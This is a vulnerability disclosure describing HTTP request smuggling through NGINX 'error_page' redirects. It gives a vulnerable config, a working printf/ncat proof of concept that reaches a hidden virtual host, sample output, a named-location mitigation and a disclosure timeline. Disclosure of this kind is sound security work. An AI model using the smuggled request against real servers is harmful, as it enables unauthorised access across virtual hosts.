NGINX error_page request smuggling

Date: 2019-12-06
Researchers:

- *Bert JW Regeer (bert.regeer@getcruise.com)*
- *Francisco Oca Gonzalez (francisco.oca@getcruise.com)*

NGINX supports the ability to have the `error_page` handler change the resulting error page and error code into a 302 redirect, as such:

```
error_page 401 https://example.org/;
```

Other forms of the `error_page` handler are NOT vulnerable:

```
error_page 404 /404.html;
error_page 404 @404;
```

in fact the named location is used to help mitigate this issue until it is fixed in NGINX and the more direct form can be used instead.

This configuration however leads to NGINX treating the body of a `GET` request as another request, thereby allowing an attacker to smuggle a request and potentially gain access to resources/information they should not be able to access, by jumping across different virtual hosts.

The `error_page` redirect is used by various products in conjunction with `auth_request` to redirect the user to an appropriate login page when their session has expired. For example the kubernetes NGINX ingress controller use this to protect resources and redirect on authorization failure.

This is especially an issue if NGINX is being fronted by a load balancer and an attacker might not have access to other vhosts on the same NGINX otherwise. Attackers may also use this to cause a desync between the load balancer and the backend HTTP server thereby causing clients to see pages they should not be able to see or error messages they shouldn't be receiving due to load balancers using HTTP pipelining and keeping connections open.

Example Vulnerable Configuration

Place the following config snippet in a file named `default.conf`:

```
server {
    listen       80;
    server_name  localhost;

    error_page 401 http://example.org;

    location / {
        return 401;
    }
}
```

```
server {
    listen 80;
    server_name notlocalhost;

    location /_hidden/index.html {
        return 200 'This should be hidden!';
    }
}
```

This can then easily be tested by running against a Docker container:

```
docker run -it --rm -p 80:80 -v `pwd`/default.conf:/etc/nginx/conf.d/default.conf
nginx:1.17.6
```

Example Vulnerable Request

The request that is made to the server looks as follows:

```
GET /a HTTP/1.1
Host: localhost
Content-Length: 56

GET /_hidden/index.html HTTP/1.1
Host: notlocalhost
```

This can be easily crafted using `printf` on the command line with `ncat` creating our connection to the remote server:

```
printf "GET /a HTTP/1.1\r\nHost: localhost\r\nContent-Length: 56\r\n\r\nGET
/_hidden/index.html HTTP/1.1\r\nHost: notlocalhost\r\n\r\n" | ncat localhost 80 --no-
shutdown
```

Will connect to the Docker container that is running NGINX, and will make a request for `localhost` with a request body that contains the smuggled request for `notlocalhost`.

You'll see the following as output of that request, notice the second pipe-lined request for the "hidden" text that is on `notlocalhost`:

```
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.17.6
Date: Fri, 06 Dec 2019 18:23:33 GMT
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: http://example.org

<html>
<head><title>302 Found</title></head>
<body>
<center><h1>302 Found</h1></center>
<hr><center>nginx/1.17.6</center>
</body>
</html>
HTTP/1.1 200 OK
Server: nginx/1.17.6
```

```
Date: Fri, 06 Dec 2019 18:23:33 GMT
Content-Type: text/html
Content-Length: 22
Connection: keep-alive

This should be hidden!
```

And the output from NGINX will show that the two requests were made:

```
172.17.0.1 - - [06/Dec/2019:18:23:33 +0000] "GET /a HTTP/1.1" 302 145 "-" "-" "-"
172.17.0.1 - - [06/Dec/2019:18:23:33 +0000] "GET /_hidden/index.html HTTP/1.1" 200 22 "-"
"-" "-"
```

Mitigations/Workarounds

To mitigate this issue, use a named location instead of having the `error_page` handler do the redirect, this configuration is not vulnerable to request smuggling on all versions of NGINX we tested.

```
server {
    listen       80;
    server_name  localhost;

    error_page 401 @401;

    location / {
        return 401;
    }

    location @401 {
        return 302 http://example.org;
    }

}
```

Vulnerable Versions

The following versions of NGINX were tested:

- 1.8.1
- 1.9.5
- 1.14.1
- 1.14.2
- 1.15.9
- 1.16.1
- 1.17.6

Other versions of NGINX are likely also affected by this issue.

Projects using the vulnerable configuration

- kubernetes NGINX ingress controller

- Vesta (Hosting control panel)
- Authelia (SSO proxy)
- Official Wordpress recommendations against bruteforce attacks for Nginx

Timeline

- 2019-12-05: Researchers identified issue
- 2019-12-09: Researchers notified NGINX about the issue
- 2019-12-10: Updated introduction to specify only single instance of `error_page` is vulnerable
- 2019-12-10: Updated projects listing that use `error_page` with URL
-
- 2020-03-09: 90 day disclosure period expiration